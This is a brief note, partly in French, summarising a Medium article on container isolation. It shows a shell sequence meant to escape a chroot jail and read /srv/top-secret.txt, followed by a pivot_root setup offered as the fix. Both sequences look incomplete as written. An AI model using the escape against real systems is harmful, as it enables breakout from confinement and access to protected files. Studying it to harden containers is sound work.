chroot escape

Source : https://medium.datadriveninvestor.com/pivot-root-vs-chroot-the-2025-container-security-choice-36ff392d1af5

mkdir hideout
chroot hideout      # first redirect
for i in {1..800}; do
  cd ..             # climb back toward real /
done
chroot .            # second redirect resets limits
cat /srv/top-secret.txt

Solution : utiliser pivot_root

# 1) Start a fresh namespace
unshare --mount --pid --fork bash
 
# 2) Prepare a new root
mkdir -p /mnt/newroot/oldroot
mount --bind / /mnt/newroot/oldroot  # temporary parking spot
 
# 3) Swap roots
pivot_root /mnt/newroot /mnt/newroot/oldroot
 
# 4) Detach the former root
umount -l /oldroot